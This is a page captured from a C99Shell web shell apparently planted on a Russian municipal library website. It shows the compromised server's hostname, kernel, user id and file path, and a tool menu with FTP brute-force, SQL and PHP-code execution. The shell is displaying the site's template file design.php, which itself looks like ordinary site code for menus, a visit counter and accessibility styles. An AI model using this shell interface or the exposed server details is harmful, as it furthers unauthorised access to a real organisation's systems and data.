!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.68 (Linux) PHP/7.4.33. PHP/7.4.33 

uname -a: Linux bjb2293782.nichost.ru 6.6.151-1.el8.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Aug 10
11:16:02 MSK 2026 x86_64
 

uid=12584(bjb2293782) gid=12584(bjb2293782) groups=12584(bjb2293782)  

Safe-mode: OFF (not secure)

/home/bjb2293782/xn--80abaeoqbbrbgf8aea5a2a2z.xn--p1ai/docs/   drwxr-x---
Free 2710.37 GB of 4607.12 GB (58.83%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     design.php (31.08 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

require_once("std2.php");


$GLOBALS['newUser'] = !isset($_COOKIE['counterUser']);
if (
$GLOBALS['newUser'])
{
    
$GLOBALS['newClick'] = true;
    
setcookie("counterUser",1);
}
else
{
    
$GLOBALS['newClick'] = true;
}


function 
Counter()
{
    
$total 0;
    
$new 0;

    
$f = @fopen("counter.txt","r");
    if (
$f)
    {
        
$total intval(fgets($f));
        
$new intval(fgets($f));
        
fclose($f);
    }

    if (
$GLOBALS['newClick'])
    {
        
$GLOBALS['newClick'] = false;
        
$total++;
        if (
$GLOBALS['newUser']) $new++;

        
$f = @fopen("counter.txt","w");
        if (
$f)
        {
            
fwrite($f,"$total\n$new");
            
fclose($f);
        }
    }

    

    print 
"<table class=counter";

    if (isset(
$_SESSION['admin']) && $_SESSION['admin']>0)
        print 
" style='cursor:pointer' onclick='editCounter()'";

    print 
">";
    print 
"<tr><td class=counterParam>Всего просмотров:</td><td class=counterValue>$total</td></tr>";
    print 
"<tr><td class=counterParam>Пользователей:</td><td class=counterValue>$new</td></tr>";
    print 
"</table>";
}


function 
MenuItem($text$href$sel$id='')
{
    
$cls $sel "menuItemSel" "menuItem";

    
$target="";
    if (
preg_match("|^http[s]{0,1}\://|i",$href))
    {
        
$target=" target=_blank";
    }
        

    if (
preg_match("/^javascript\:\/\/(.*)/",$href,$g))
    {
        
$onclick $g[1];
        
$href "#";
    }
    else
    {
        if (
$target!="")
            
$onclick "window.open('$href')";
        else
            
$onclick="location='$href'";
    }

    if (
$id!=''$id="id=$id";

    print 
"<td class=$cls $id nowrap width=1% onclick=\"$onclick; return false;\"><a href='$href$target>$text</a><div></div></td>";
}

function 
PanelMenuItem($text$href$id='')
{
    
$cls $GLOBALS['firstPanelMenuItem'] ? "firstPanelMenuItem" "panelMenuItem";
    
$GLOBALS['firstPanelMenuItem'] = false;

    
$target="";
    if (
preg_match("|^http[s]{0,1}\://|i",$href))
    {
        
$target=" target=_blank";
    }

    if (
preg_match("/^javascript\:\/\/(.*)/",$href,$g))
    {
        
$onclick $g[1];
        
$href "#";
    }
    else
    {
        if (
$target!="")
            
$onclick "window.open('$href')";
        else
            
$onclick="location='$href'";
    }

    if (
$id!=''$id="id=$id";

    print 
"<tr $id><td class=$cls onclick=\"$onclick; return false;\"><a href='$href$target>$text</a></td></tr>";
}


function 
TOP($page)
{

if (isset(
$_SESSION['admin']) &&
    (!isset(
$_SESSION['ver']) || intval($_SESSION['ver']) < 1))
{
    
$_SESSION['admin'] = 0;
}


$css "styles.css";
$extStyle "";
if (isset(
$_COOKIE['vi']) && $_COOKIE['vi']=="1")
{
    if (isset(
$_COOKIE['viGamma']))
    {
        
$v $_COOKIE['viGamma'];
        if (
$v=="1"$css="styleswb.css";
        else
        if (
$v=="2"$css="stylesyb.css";
    }    
    if (isset(
$_COOKIE['viBigFont']) && $_COOKIE['viBigFont']=="1"$extStyle.="td, th, body, p { font-size:22px; }\n";
    if (isset(
$_COOKIE['viInterval']) && $_COOKIE['viInterval']=="1"$extStyle.="td, th, body, p { line-height:180%; }\n";
    if (isset(
$_COOKIE['viSpacing']) && $_COOKIE['viSpacing']=="1"$extStyle.="td, th, body, p { letter-spacing:3px }\n";
    if (isset(
$_COOKIE['viBWImage']) && $_COOKIE['viBWImage']=="1"$extStyle.="img, canvas { filter:grayscale(100%); }\n";
}

?>
<html>
<head>
    <meta charset=UTF-8>
    <title>Библиотеки Королёва</title>

    <meta name="viewport" content="initial-scale=0.55">
    <link rel="stylesheet" href="<?php print $css?>?10" type="text/css">

    <link rel="icon" href="favicon.ico" type="image/x-icon"> 
    <link rel="shortcut icon" href="favicon.ico" type="image/x-icon">

    <meta name="keywords" content="Библиотека, книги, читать, мероприятия, VR, роботы, Королёв, компьютерные курсы, досуг, кружок, шахматы, мастер-классы">
    <meta name="description" content="Официальный сайт Централизованной Библиотечной Системы города Королёв (МБУК ЦБС)">

    <script src='common.js?1'></script>
    <script src='dialogs.js'></script>
    <script src='visualimpaired.js'></script>
    <script src='shop.js'></script>
</head>
<?php if ($extStyle!="") print "<style>\n$extStyle\n</style>\n"?>
<body>

<?php
/*

<!-- Yandex.Metrika counter -->
<script type="text/javascript" >
   (function(m,e,t,r,i,k,a){m[i]=m[i]||function(){(m[i].a=m[i].a||[]).push(arguments)};
   m[i].l=1*new Date();
   for (var j = 0; j < document.scripts.length; j++) {if (document.scripts[j].src === r) { return; }}
   k=e.createElement(t),a=e.getElementsByTagName(t)[0],k.async=1,k.src=r,a.parentNode.insertBefore(k,a)})
   (window, document, "script", "https://mc.yandex.ru/metrika/tag.js", "ym");

   ym(92309970, "init", {
        clickmap:true,
        trackLinks:true,
        accurateTrackBounce:true
   });
</script>

<noscript><div><img src="https://mc.yandex.ru/watch/92309970" style="position:absolute; left:-9999px;" alt="" /></div></noscript>
<!-- /Yandex.Metrika counter -->

<!-- Top.Mail.Ru counter -->
<script type="text/javascript">
var _tmr = window._tmr || (window._tmr = []);
_tmr.push({id: "3284635", type: "pageView", start: (new Date()).getTime()});
(function (d, w, id) {
  if (d.getElementById(id)) return;
  var ts = d.createElement("script"); ts.type = "text/javascript"; ts.async = true; ts.id = id;
  ts.src = "https://top-fwz1.mail.ru/js/code.js";
  var f = function () {var s = d.getElementsByTagName("script")[0]; s.parentNode.insertBefore(ts, s);};
  if (w.opera == "[object Opera]") { d.addEventListener("DOMContentLoaded", f, false); } else { f(); }
})(document, window, "tmr-code");
</script>
<noscript><div><img src="https://top-fwz1.mail.ru/counter?id=3284635;js=na" style="position:absolute;left:-9999px;" alt="Top.Mail.Ru" /></div></noscript>
<!-- /Top.Mail.Ru counter -->
*/
?>


<?php
//<script async src="https://culturaltracking.ru/static/js/spxl.js?pixelId=37609" data-pixel-id="37609"></script>
?>

<style>
.counter { width:100; background-color:#cccfd3; }
.counterParam { font-size:10px; color:black; font-family:Arial; white-space:nowrap;}
.counterValue { font-size:12px; font-family:Arial; font-weight:bold; white-space:nowrap;}
</style>


<table width=100% height=100% cellspacing=0 cellpadding=0>
<tr>
    <td height=1% id=mainHeaderCell class=mainHeaderCell>
        <img id=logo src='logo.png?2' class=logo width=658 height=201 onclick='location="index.php"' style='cursor:pointer;position:absolute;z-index:2;top:10;left:20'>


        <?php
        
if (isset($_SESSION['admin']) && $_SESSION['admin']>0)
        {
            print 
"<div onclick='doEnter()' title='Выйти/Сменить пользователя' id=adminName style='cursor:pointer; color:white; position:absolute;left:400;top:300;text-align:right;width:300;padding-left:16'>Добро пожаловать,<br><b>".$_SESSION['adminName']."</b></div>";

            
$admin $_SESSION['admin'];
            
$adminName $_SESSION['adminName'];
            
$adminRights $_SESSION['adminRights'];
            
$adminFilial $_SESSION['adminFilial'];
        }
        else
        {
            
$admin 0;
            
$adminName "";
            
$adminRights=0;
            
$adminFilial=0;
        }
        print 
"<script src='admineditor.js'></script>\n";
        print 
"<script>adminId=$admin;adminName=\""._input_($adminName)."\";adminRights=$adminRights;adminFilial=$adminFilial;</script>\n";

        
?>

    


        <div class=headerInfo style='position:absolute; left:80;<?php
            
if (isset($_SERVER['HTTP_USER_AGENT']) && preg_match("/Android|webOS|iPhone|iPad|iPod|BlackBerry|BB|PlayBook|IEMobile|Windows Phone|Kindle|Silk|Opera Mini/i"$_SERVER['HTTP_USER_AGENT']))
                 print 
"font-size:16px;top:260";
            else
                print 
"font-size:14px;top:280";
        
?>;font-family:Mont; color:white'>
            <div class=headerInfo><b>БЕСПЛАТНО:</b></div>
            <div class=headerInfo style='padding-left:30'>
                - Книги, газеты, журналы<br>
                - Компьютерные курсы<br>
                - Кружки, викторины, мастер-классы, шахматный клуб<br>
                - VR-очки, робототехника<br>
                - Мероприятия, встречи с интересными людьми
            </div>
        </div>


        <img id=forVisuallyImpairedBtn src='<?php print _CD_("vi",'0')=='0' "forvisuallyimpaired.png" "normalversion.png"?>' width=136 height=74 class=hoverImg style='cursor:pointer; position:absolute;top:10;left:640' onclick='<?php print _CD_("vi",'0')=='0' "switchToVisualImpaired()" "switchToNormalVersion()"?>' title='<?php print _CD_("visuallyimpaired",'0')=='0' "Версия для слабовидящих" "Переключиться на обычную версию"?>'>


        <canvas width=100% height=300 id=mainCanvas></canvas>

        
    </td>
</tr>
<tr>
    <td height=1% class=menuLine>
        <img src='menubtn.png' width=82 height=82 class=menuBtn style='position:absolute;left:8;top:379' onclick='onMenuClick()'>
        
        <table cellspacing=0 cellpadding=0><tr>
        <?php
            $fi 
= isset($_GET['filial']) ? $_GET['filial'] : -1;

            
MenuItem("Главная""index.php"$page==0);
            
MenuItem("Читателям""readers.php"$page==1);
            
MenuItem("Библиотеки""filials.php"$page==&& $fi 100);
            
MenuItem("Вопросы и ответы""forum.php"$page==3'forumMenuItem');

            
$g "";
            if (
$fi >=0)
            {
                
$g "?filial=".$_GET['filial'];
            }
            
MenuItem("Видеотрансляции""video.php$g"$page==4'videotrans');
            
MenuItem("ЦПТИ""filial.php?filial=100"$fi==100 && $page==2'cpti');
        
?>

        <td width=99% align=right style='padding-right:10px' id=searchCell1>
            <form method=get action="search.php" name=searchForm>
                <table class=search cellspacing=0 cellpadding=0>
                    <tr>
                        <td class=search><input name=search placeholder="Поиск" value="<?php print _input_(_GD_("search")); ?>"></td>
                        <td class=searchBtn onclick='document.forms["searchForm"].submit()'><img src='search.png' width=16 height=16 title="Найти"></td>
                    </tr>
                </table>
            </form>
        </td>

        </tr></table>


        <table id=menuPanel cellspacing=0 cellpadding=0 class=invisibleMenuPanel style='display:none; position:absolute; left:4;top:374'>
        <tr>
            <td class=menuPanel>
                <table width=100% cellspacing=0 cellpadding=0 class=menuPanelTable>
                    <?php
                            $GLOBALS
['firstPanelMenuItem'] = true;
                            
PanelMenuItem("О нас""aboutus.php");
                            
PanelMenuItem("История ЦБС""history.php");
                            
PanelMenuItem("Вопросы и ответы""forum.php""forumMenuPanelItem");
                            
PanelMenuItem("Видеотрансляции""video.php""videoTransPanelItem");
                            
PanelMenuItem("События""events.php");
                            
PanelMenuItem("Новости""news.php");
                            
PanelMenuItem("ЦПТИ""filial.php?filial=100");
                            
PanelMenuItem("Архив игр и викторин""quiz.php");
                            
PanelMenuItem("Документы""documents.php");
                            
PanelMenuItem("Предоставление помещений""premises.php");
                            
//PanelMenuItem("Меры по борьбе с COVID-19", "covid.php");
                            
PanelMenuItem("Оценка качества""nok.php");
                            
PanelMenuItem("Старая версия сайта""http://cbs.korolev-culture.ru/");
                            
PanelMenuItem("Контакты""aboutus.php#contacts");

                            if (
_CD_("vi",'0')=='0')
                                
PanelMenuItem("Версия для слабовидящих""javascript://switchToVisualImpaired()""switchToVisualMenuItem");
                            else
                                
PanelMenuItem("Обычная версия сайта""javascript://switchToNormalVersion()""switchToVisualMenuItem");


                            if (isset(
$_SESSION['admin']) && $_SESSION['admin']>0)
                            {
                                
PanelMenuItem("<b>Мои регистрационные данные</b>""mypassport.php");
                                if (
intval($_SESSION['adminRights']) & RIGHT_SUPER_ADMIN)
                                {
                                    
PanelMenuItem("<b>Все администраторы</b>""admins.php");
                                }
                            }

                    
?>
                </table>
            </td>
        </tr>
        </table>
    </td>
</tr>
<tr id=searchCell2 class=menuline style='display:none'>
    <td height=1% align=right style='padding-right:20px;padding-left:20px; padding-bottom:10'>
            <form method=get action="search.php">
                <table class=search cellspacing=0 cellpadding=0 width=100%>
                    <tr>
                        <td class=search width=99%><input name=search style='width:100%' placeholder="Поиск" value="<?php print _input_(_GD_("search")); ?>"></td>
                        <td class=searchBtn width=1%><img src='search.png' width=16 height=16 title="Найти"></td>
                    </tr>
                </table>
            </form>
    </td>
</tr>


<tr>
    <td class=mainCell height=99% valign=top style='padding:20 20 20 20'>

<?php



// вернуть количество позиций в корзине
$order = isset($_SESSION['order']) ? intval($_SESSION['order']) : 0;
$count 0;

if (
$order 0)
{
    
$mysql mysqlopen();


    if (
$order!=0)
    {
        
// проверить существование заказа

        
$result mysqli_query($mysql"SELECT 1 FROM libOrders WHERE `id`=$order AND `payDate` IS NULL LIMIT 1");
        if (
mysqli_errno($mysql)) die("ERROR: ".mysqli_error($mysql)." at line ".__LINE__." of file ".__FILE__."\n");

        if (!
mysqli_fetch_row($result))
        {
            
$order 0;
            
$_SESSION['order']=0;
        }
        
mysqli_free_result($result);
    }

    if (
$order!=0)
    {
        
$result mysqli_query($mysql"SELECT SUM(`count`) FROM libOrderItems WHERE `order`=$order");
        if (
mysqli_errno($mysql)) die("ERROR: ".mysqli_error($mysql)." at line ".__LINE__." of file ".__FILE__."\n");
        if (
$row mysqli_fetch_row($result)) $count $row[0];
        
mysqli_free_result($result);
    }
}

if (
$count 0)
{
    print 
"<script>createCartBtn($count);</script>\n";
}
?>

<script>
            mainCanvas=document.getElementById('mainCanvas');
            collageImage = new Image();
            collageImage.loaded = false;
            collageImage.onload = function() { this.loaded = true; }
            collageImage.src="collage.jpg";

            mainHeaderCell = document.getElementById('mainHeaderCell');

            forVisuallyImpairedBtn = document.getElementById('forVisuallyImpairedBtn');
            searchCell1 = document.getElementById('searchCell1');
            searchCell2 = document.getElementById('searchCell2');
            forumMenuItem = document.getElementById('forumMenuItem');
            switchToVisualMenuItem = document.getElementById("switchToVisualMenuItem")
            forumMenuPanelItem = document.getElementById('forumMenuPanelItem');
            videotrans = document.getElementById('videotrans');
            videoTransPanelItem = document.getElementById('videoTransPanelItem');
            cpti = document.getElementById('cpti');

            leftColumn = document.getElementById('leftColumn');
            rightColumn = null;
            middleColumn = null;
            middleColumn2 = null;
            adminNameDiv = document.getElementById('adminName');

            


            menuPanel = document.getElementById('menuPanel');
            if (menuPanel)
            {
                menuPanel.hideTimeout = null;
                menuPanel.visible=false;
            }    

            function showMenuPanel()
            {
                menuPanel.visible = true;
                if (menuPanel.hideTimeout) clearTimeout(menuPanel.hideTimeout);
                menuPanel.hideTimeout = null;
                menuPanel.style.display="";
                menuPanel.clientWidth;
                menuPanel.className = "menuPanel";

                if (window.innerHeight < 810) smoothScrollTo(300);
                
            }

            function hideMenuPanel()
            {
                menuPanel.visible = false;
                menuPanel.className = "invisibleMenuPanel";
                menuPanel.hideTimeout = setTimeout(function()
                            {
                                menuPanel.hideTimeout = null;
                                menuPanel.style.display="none";
                            },900);
            }

            function onMenuClick()
            {
                if (!menuPanel.visible) showMenuPanel(); else hideMenuPanel();
            }






            if (menuPanel) menuPanel.addEventListener("mouseleave",hideMenuPanel);


            middleColumnWidth = 320;

            


            function ellipseWork(elm)
            {
                if (elm.className == "video")
                {
                    var w = middleColumnWidth * 0.9;
                    if (w>800) w = 800;
                    var h = parseInt(w * 9 / 16);

                    elm.width=w;
                    elm.height=h;
                }


                if (elm.className == "ellipseBlock" && !elm.isOpen)
                {

                    var blkControl = elm.parentNode.firstChild;
                    
                    while(blkControl && blkControl.className!="ellipseControl") blkControl = blkControl.nextSibling;

                    if (blkControl)
                    {
                        var maxHeight = elm.dataset.maxheight;

                        blkControl.style.display="none";
                        elm.style.height = "";
                        elm.style.overflowY = "";

                        var lockHidden = false;
                        var eventId=blkControl.dataset.eventid;
                        if (eventId)
                        {
                            if (location.hash == '#evt'+eventId) lockHidden = true;
                        }

                        var newsId=blkControl.dataset.newsid;
                        if (newsId)
                        {
                            if (location.hash == '#news'+newsId) lockHidden = true;
                        }

                        var r = elm.getBoundingClientRect();
                        if (r.bottom - r.top > maxHeight && !lockHidden)
                        {
                            
                            elm.style.height = maxHeight;
                            elm.style.overflowY = "hidden";

                            blkControl.style.display="";
                            blkControl.style.top = maxHeight - 48;
                            blkControl.style.left = 0;
                            blkControl.style.width = r.right - r.left;
                            
                        }
                    }    
                }
                elm = elm.firstChild;
                while(elm)
                {
                    ellipseWork(elm);
                    elm = elm.nextSibling;
                }
            }

            function ellipseClick(blkControl)
            {
                var ellipse = blkControl.parentNode.firstChild;
                while(ellipse && ellipse.className!="ellipseBlock") ellipse = ellipse.nextSibling;
                if (!ellipse) return;

                ellipse.style.overflowY = "";
                ellipse.style.height = "";
                ellipse.isOpen = true;
                blkControl.style.display="none";
            }



            function alignIcons()
            {
                <?php
                
if (isset($_SERVER['HTTP_USER_AGENT']) && preg_match("/Android|webOS|iPhone|iPad|iPod|BlackBerry|BB|PlayBook|IEMobile|Windows Phone|Kindle|Silk|Opera Mini/i"$_SERVER['HTTP_USER_AGENT']))
                     print 
"var fullWidth = window.innerWidth;\n";
                else
                    print 
"var fullWidth = document.body.clientWidth;\n";
                    
?>
                mainCanvas.width = fullWidth;

                if (adminNameDiv)
                {
                    var r = adminNameDiv.getBoundingClientRect();
                    adminNameDiv.style.left = fullWidth - 10 - (r.right - r.left);
                }


                middleColumnWidth = fullWidth - 40;
                

                if (fullWidth < 1000)
                {
                    logo.style.transform="translate(-10%,0%) scale(0.85,0.85)";
                    
                    
                    if (rightColumn) rightColumn.style.display="none";
                    if (middleColumn2) middleColumn2.style.display="";
                }
                else
                {
                    logo.style.transform="translate(0%,0%) scale(1,1)";
                    if (rightColumn) { rightColumn.style.display=""; middleColumnWidth-=250; }
                    if (middleColumn2) middleColumn2.style.display="none";
                }

                if (fullWidth < 1025)
                {
                    forumMenuItem.style.display="none";
                    forumMenuPanelItem.style.display="";
                }
                else
                {
                    forumMenuItem.style.display="";
                    forumMenuPanelItem.style.display="none";
                }

                if (fullWidth < 1200)
                {
                    cpti.style.display="none";
                }
                else
                {
                    cpti.style.display="";
                }


                if (fullWidth < 850)
                {
                    videotrans.style.display="none";
                    videoTransPanelItem.style.display="";
                }
                else
                {
                    videotrans.style.display="";
                    videoTransPanelItem.style.display="none";
                }


                if (fullWidth < 750)
                {
                    forVisuallyImpairedBtn.style.display="none";
                    switchToVisualMenuItem.style.display="";
                    
                }
                else
                {
                    switchToVisualMenuItem.style.display="none";
                    forVisuallyImpairedBtn.style.display="";
                    forVisuallyImpairedBtn.style.left = fullWidth - 152;
                }

                if (fullWidth < 750)
                {
                    searchCell1.style.display="none";
                    searchCell2.style.display="";
                    if (leftColumn) leftColumn.style.display="none";
                    if (middleColumn) middleColumn.style.display="";
                }    
                else
                {
                    searchCell1.style.display="";
                    searchCell2.style.display="none";
                    if (leftColumn) { leftColumn.style.display=""; middleColumnWidth-=250; }
                    if (middleColumn) middleColumn.style.display="none";
                }

                ellipseWork(document.body);

                updateCartBtnPosition();
                
            }
            window.addEventListener('resize',alignIcons);
            //document.body.onload = alignIcons;




            collageX = 0;
            scroll_timeout_timer = 0;

            scrollToGoal = null;

            alignIcons();

            setInterval(function()
                {
                    if (scrollToGoal!==null)
                    {
                        var delta = (scrollToGoal - document.body.scrollTop) * 0.1;

                        if (delta <= 1)
                        {
                            scrollToGoal = null;
                            scroll_timeout_timer = 0;
                        }    
                        else
                            document.body.scrollTop = document.body.scrollTop + delta;
                    }


                    if (!collageImage.loaded)
                    {
                        collageX = -Math.random() * collageImage.naturalWidth;
                        return;
                    }    


                    fullWidth = mainCanvas.width;
                    var ctx = mainCanvas.getContext("2d");
                    

                    collageX-=0.3;
                    if (collageX<=-collageImage.naturalWidth) collageX+=collageImage.naturalWidth;
                    var x = collageX;
                    while(x < fullWidth)
                    {
                        ctx.drawImage(collageImage, x, 0);
                        x+=collageImage.naturalWidth;
                    }
                    if (scroll_timeout_timer > 0)
                    {
                        scroll_timeout_timer-=20;
                        if (scroll_timeout_timer <=0) scrollToGoal = 0;
                    }    

                }, 20);

                function smoothScrollTo(value)
                {
                    scrollToGoal = value;
                    scroll_timeout_timer = 2000;
                }


                function ahrefSmoothScroll(toTagID)
                {
                    var tag = document.getElementById(toTagID);
                    var r = tag.getBoundingClientRect();
                    smoothScrollTo(r.top);
                }
</script>


<?php
}


$GLOBALS['startColumnBy']="<table width=100% cellspacing=0 cellpadding=0><tr>";
$GLOBALS['endColumnBy']='';
$GLOBALS['endPageBy']='';

function 
BOTTOM()
{
print 
$GLOBALS['endColumnBy'];
print 
$GLOBALS['endPageBy'];
?>
    </td>
</tr>
<tr>
    <td class=footer height=1% align=center>
        <table>
        <tr>
            <td class=firstFooterCell>
                Телефон: <span class=footerValue>+7 495 511-49-54</span><br>
                e-mail: <a class=footerValue href='mailto:metod-cbs-korolev@yandeх.ru'>metod-cbs-korolev@yandeх.ru</a>
            </td>
            <td class=footerCell>
                <script src='print.js'></script>
                <span class=enterLink onclick='doPrintPage()'>Печать</span><br>


                <script src='enter.js'></script>
                <span class=enterLink onclick='doEnter()'><?php print (isset($_SESSION['admin']) && $_SESSION['admin']>0) ? "Выйти" "Войти"?></span>
            </td>
        </tr>
        </table>

    </td>
</tr>
</table>



<script>
    rightColumn = document.getElementById('rightColumn');
    middleColumn = document.getElementById('middleColumn');
    middleColumn2 = document.getElementById('middleColumn2');
    alignIcons();
    alignIcons();
</script>

<?php
{
    if (isset(
$_SESSION['admin']) && $_SESSION['admin']>0)
    {
        print 
"<script src='counteradmin.js'></script>";
    }
}    
?>




</body>
</html>
<?php
}

$GLOBALS['filialListInfo'] = false;
function 
FILIALLISTINFO()
{
    if (
$GLOBALS['filialListInfo']) return;

    print 
"<script>filials=[\n";
    
$first true;
    foreach(
$GLOBALS['filials'] as $key=>$value)
    {
        if (
$first$first false; else print ",\n";
        print 
"{id:$key, 'text':\""._input_($value)."\"}";
    }
    print 
"];\n";
    print 
"</script>\n";
    
$GLOBALS['filialListInfo'] = true;
}

function 
START_COLUMNS()
{
    print 
$GLOBALS['endColumnBy'];
    print 
$GLOBALS['startColumnBy'];
    if (
$GLOBALS['startColumnBy']!=''$GLOBALS['endPageBy']="</tr></table>";
    
$GLOBALS['startColumnBy'] = "";
}


function 
LEFTCOLUMN()
{
    
START_COLUMNS();    

    print 
"<td id=leftColumn class=leftColumn>";
    
$GLOBALS['endColumnBy'] = "<div style='width:160px;height:1px'></div></td>\n";
}

function 
MAINCOLUMN()
{
    
START_COLUMNS();
    print 
"<td class=mainColumn id=siteMainColumn>";
    
$GLOBALS['endColumnBy'] = "</td>\n";
}


$GLOBALS['middleColumn2End'] = '';
function 
MIDDLECOLUMN2()
{
    
$GLOBALS['middleColumn2End']="</div>\n";
    print 
"<div id=middleColumn2 class=middleColumn style='display:none'>";
}


function 
MIDDLECOLUMN()
{
    print 
$GLOBALS['middleColumn2End'];
    print 
"<div id=middleColumn class=middleColumn style='display:none'>";
    
$GLOBALS['endColumnBy'] = "</div>\n".$GLOBALS['endColumnBy'];
}


function 
RIGHTCOLUMN()
{
    
START_COLUMNS();
    print 
"<td id=rightColumn class=rightColumn>";
    
$GLOBALS['endColumnBy'] = "<div style='width:170px;height:1px'></div></td>\n";
}



function 
CHANNELS($cls="channelBlock")
{
?>
    <?php /*
    <div class=<?php print $cls; ?> onclick='window.open("https://www.instagram.com/cbs_korolev/", "_blank")'>
        <div class=channelName>Instagram</div>
        <img src='instagram-icon.png' width=64 height=64><br>
        <div class=channelDesc>
            Наша страничка в Instagram
        </div>
    </div>
    */
    
?>




    <div class=<?php print $cls?> onclick='window.open("https://vk.com/cbskorolev", "_blank")'>
        <div class=channelName>ВКонтакте</div>
        <img src='vk-icon.png' width=64 height=64><br>
        <div class=channelDesc>
            Наша страничка во ВКонтакте
        </div>
    </div>


    <?php
    
/*
    <div class=<?php print $cls; ?> onclick='window.open("https://t.me/biblioteki_koroleva", "_blank")'>
        <div class=channelName>Telegram</div>
        <img src='telegram-icon.png' width=64 height=64><br>
        <div class=channelDesc>
            Наш канал в Telegram
        </div>
    </div>
    */
    
?>


    <?php
    
/*
    <div class=<?php print $cls; ?> onclick='window.open("https://www.tiktok.com/@znaikabib?lang=ru-RU", "_blank")'>
        <div class=channelName>TikTok</div>
        <img src='tiktok-icon.png' width=64 height=64><br>
        <div class=channelDesc>
            TikTok канал библиотеки-филиала №12
        </div>
    </div>

    <div class=<?php print $cls; ?> onclick='window.open("https://www.tiktok.com/@bibliotekazahodera", "_blank")'>
        <div class=channelName>TikTok</div>
        <img src='tiktok-icon.png' width=64 height=64><br>
        <div class=channelDesc>
            TikTok-канал Центральной детской библиотеки
        </div>
    </div>


    
    <div class=<?php print $cls; ?> onclick='window.open("https://www.instagram.com/robot_nastya/", "_blank")'>
        <div class=channelName>Instagram</div>
        <img src='nastya-icon.png' width=64 height=64><br>
        <div class=channelDesc>
            Страничка в Instagram робота Настя
        </div>
    </div>

    
    <div class=<?php print $cls; ?> onclick='window.open("https://www.instagram.com/chitaemvkoroleve/?igshid=1k46sc8s5mh60", "_blank")'>
        <div class=channelName>Instagram</div>
        <img src='readinginkorolyov.png' width=64 height=64><br>
        <div class=channelDesc>
            Страничка в Instagram "Читаем в Королёве"
        </div>
    </div>
    */
    
?>

    <div class=<?php print $cls?> onclick='window.open("https://vk.com/chitaemvkoroleve", "_blank")'>
        <div class=channelName>ВКонтакте</div>
        <img src='readinginkorolyov.png' width=64 height=64><br>
        <div class=channelDesc>
            Страничка "Читаем в Королёве"
        </div>
    </div>

    <br>
    <br>

    <center style='height:60'>
    <?php
    
//<iframe title="Include gadget (iframe)" width="150" height="80" scrolling="no" frameborder="0" id="1173246810" name="1173246810" allowtransparency="true" class="igm" src="//mj89sp3sau2k7lj1eg3k40hkeppguj6j-a-sites-opensocial.googleusercontent.com/gadgets/ifr?url=http://www.gstatic.com/sites-gadgets/iframe/iframe.xml&amp;container=enterprise&amp;view=default&amp;lang=ru&amp;country=ALL&amp;sanitize=0&amp;v=40753d033c6d88ca&amp;libs=core&amp;mid=208&amp;parent=http://cbs.korolev-culture.ru/anonsy-2#up_scroll=auto&amp;up_iframeURL=https://pro.culture.ru/widgets/embed/h6fgrvhqeh3vq9d3&amp;st=e%3DAIHE3cCEsB2QlnWdB2tRSYJ0YPdWNfeA7DXucg6%252FQTuzH5n0YCGsahxCUvTfCfbcpRSttDCEgGfSPgdFeY5kTf9tZJDYFZM0GndkJxTCd23HGp7dF%252Ba8K1K9KmFJC81PtlD%252B6mUHs7Wo%26c%3Denterprise&amp;rpctoken=-1524351551315876709"></iframe>
        
    /*
    <script type="text/javascript" src="https://pro.culture.ru/scripts/widgets/api.js?6450"></script>
<div id="eipsk-culturebanner"></div>
<!-- EIPSK Widget -->
<script type="text/javascript">
    EIPSK.Widgets.Inline('mpf13joyucnlyo83', 'eipsk-culturebanner');
</script>

    <style>
    .proculture { opacity:0.6 }
    .proculture:hover { opacity:1}
    </style>

    <a target=_blank href='https://pro.culture.ru/#events?utm_source=widgets&utm_medium=cultureBanner'><img src='proculture.png' class=proculture width=153 height=18></a>


    
    

    </center>

    <script async src="https://culturaltracking.ru/static/js/spxl.js?pixelId=24629" data-pixel-id="24629"></script>

    <br>
    <center>
    <!-- Top.Mail.Ru logo -->
<a href="https://top-fwz1.mail.ru/jump?from=3284635">
<img src="https://top-fwz1.mail.ru/counter?id=3284635;t=479;l=1" height="31" width="88" alt="Top.Mail.Ru" style="border:0;" /></a>
<!-- /Top.Mail.Ru logo -->
</center>
    */

    
Counter();


    
?>


<?php
}


function 
ActualLinks($cls='actualLinks')
{

if (isset(
$_GET['filial']))
{
?>
    <div class=<?php print $cls?>><a href='program.php?filial=<?php print _GD_('filial'); ?>'><table><tr>
        <td><img src='program-icon.png' width=64 height=64></td>
        <td>Программа мероприятий филиала</td>
    </tr></table></a></div>


    <div class=<?php print $cls?>><a href='video.php?filial=<?php print _GD_('filial'); ?>'><table><tr>
        <td><img src='youtube-icon.png' width=64 height=64></td>
        <td>Видео трансляции филиала</td>
    </tr></table></a></div>



    <div class=<?php print $cls?>><a href='program.php'><table><tr>
        <td><img src='program-icon.png' width=64 height=64></td>
        <td>Программа мероприятий всех филиалов ЦБС</td>
    </tr></table></a></div>


<?php
}
else
{
?>
    <div class=<?php print $cls?>><a href='program.php'><table><tr>
        <td><img src='program-icon.png' width=64 height=64></td>
        <td>Мероприятия в библиотеке</td>
    </tr></table></a></div>
<?php
}
?>

    <div class=<?php print $cls?>><a href='online.php'><table><tr>
        <td><img src='online-icon.png' width=64 height=64></td>
        <td>Онлайн-<br>мероприятия</td>
    </tr></table></a></div>


    <div class=<?php print $cls?>><a href='newbooks.php'><table><tr>
        <td><img src='new-icon.png' width=64 height=64></td>
        <td>Новые книги</td>
    </tr></table></a></div>


    <div class=<?php print $cls?>><a href='questionnaire.php'><table><tr>
        <td><img src='questionnaire-icon.png' width=64 height=64></td>
        <td>Анкета для выявления читательского спроса</td>
    </tr></table></a></div>


    
<?php
}

$GLOBALS['editFAQ']=false;

function 
FAQ()
{
    print 
"<div class=faq>Часто задаваемые вопросы</div>\n";

    if (
AdminAuth(RIGHT_EDIT_FAQ))
    {
        if (!
$GLOBALS['editFAQ'])
        {
            print 
"<script src='faqeditor.js'></script>\n";
            
$GLOBALS['editFAQ']=true;
        }    
        print 
"<center><img class=editBtn src='edit.png' onclick='editFAQ()'></center>\n";
    }


    print 
"<ul class=faq>\n";
    
$f = @fopen("faq.txt""r");
    if (
$f)
    {
        
$inx 0;
        while(!
feof($f))
        {
            
